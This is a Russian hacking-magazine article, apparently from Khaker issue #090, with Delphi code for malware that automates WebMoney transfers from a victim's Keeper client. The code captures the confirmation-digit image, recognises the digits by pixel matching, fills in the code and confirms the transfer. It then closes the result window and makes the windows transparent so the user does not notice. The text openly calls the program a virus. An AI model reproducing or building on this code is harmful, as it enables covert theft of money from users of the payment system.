Уводим WebMoney SIR (sir-xaker@mail.ru) Хакер, номер #090, стр. 090-116-4 Сначала проверим наличие этого окна: repeat Transfer:=FindWindow(nil,PChar('Передача WM клиенту WebMoney')); until Transfer<>0; BringWindowToTop(Transfer); Копируем картинку. Нам потребуется компонент Image. Копируем картинку image1.Width:=46; image1.Height:=18; GetWindowRect(Transfer,Rect); DC:=GetDC(Transfer); BitBlt(Image1.Canvas.Handle,0,0,46,18,DC,123,Rect.Bottom-Rect.Top-55-18-32,SRCCOPY); ReleaseDC(Transfer,DC); 32 – размер заголовка окна, его тоже надо учитывать. Теперь картинка с цифрами скопирована. Мы разобьем ее на три части (img1, img2, img3) и начнем по пикселям сравнивать матрицу с уже имеющимися моделями (матрицами) цифр. Удобнее, если картинка будет монохромной. Делается это так: Image1.Picture.Bitmap.PixelFormat:=pf1bit; Image1.Picture.Bitmap.Monochrome:=true; Так как ширина картинки 46 пикселей, то разбитие лучше всего сделать таким: 15x18, 16x18 и 15x18 пикселей. Массив цветов 1-ой цифры var img1:array[0..14,1..17]of byte; x,y:integer; for x:=0 to 14 do for y:=0 to 17 do if image1.Canvas.Pixels [x,y]=clWhite then img1[x,y]:=0 else img1[x,y]:=1; Для 2-ой и 3-ей цифры делаем аналогично. Теперь наши цифры содержатся в массивах из нулей и единиц. Нам потребуются модели цифр. Всего их будет 40. Понадобится немного терпения, так что сохрани полученную матрицу в текстовый вид, а затем в вирусе создай модели по этим цифрам. Можно чуть ускорить процесс сравнения цифр, если знать ее положение (маленькое, большое и др.). Сам код проверки можно увидеть на диске. Осталось последнее окно. В него мы отсылаем наши распознанные цифры и жмем кнопку «Да». Затем ждем появления окна результата перевода и закрываем его. Заполнения окна «Передача WM клиенту WebMoney» var DT:string; TransWnd[1]:=GetWindow(Transfer,GW_CHILD); for i:=2 to 3 do TransWnd[i]:=GetWindow(TransWnd[i-1],GW_HWNDNEXT); SendMessage(TransWnd[1],WM_SETTEXT,0,LongInt(PChar(IntToStr(S1)+IntToStr(S2)+IntToStr(S3)))); SendMessage(TransWnd[3],WM_IME_KEYDOWN,VK_RETURN,0); SendMessage(TransWnd[3],WM_IME_KEYUP,VK_RETURN,0); DateTimeToString(DT,'yyyy.mm.dd hh:nn',Now); repeat Transfer:=FindWindow(nil,PChar('Передача WM '+DT)); until Transfer<>0; SendMessage(Transfer,WM_CLOSE,0,0); hidden & dangerous Чтобы юзер не заподозрил потустороннее программное обеспечение, а главное - открывающиеся окна, нашу программу необходимо скрыть, а весь выше описанный процесс сделать визуально невидимым. Я предлагаю при появлении необходимого нам окна сразу же делать его прозрачным: SetWindowLong(<хэндл нужного окна>,GWL_EXSTYLE,WS_EX_LAYERED); SetLayeredWindowAttributes(<хэндл нужного окна>,0,0,$00000002); |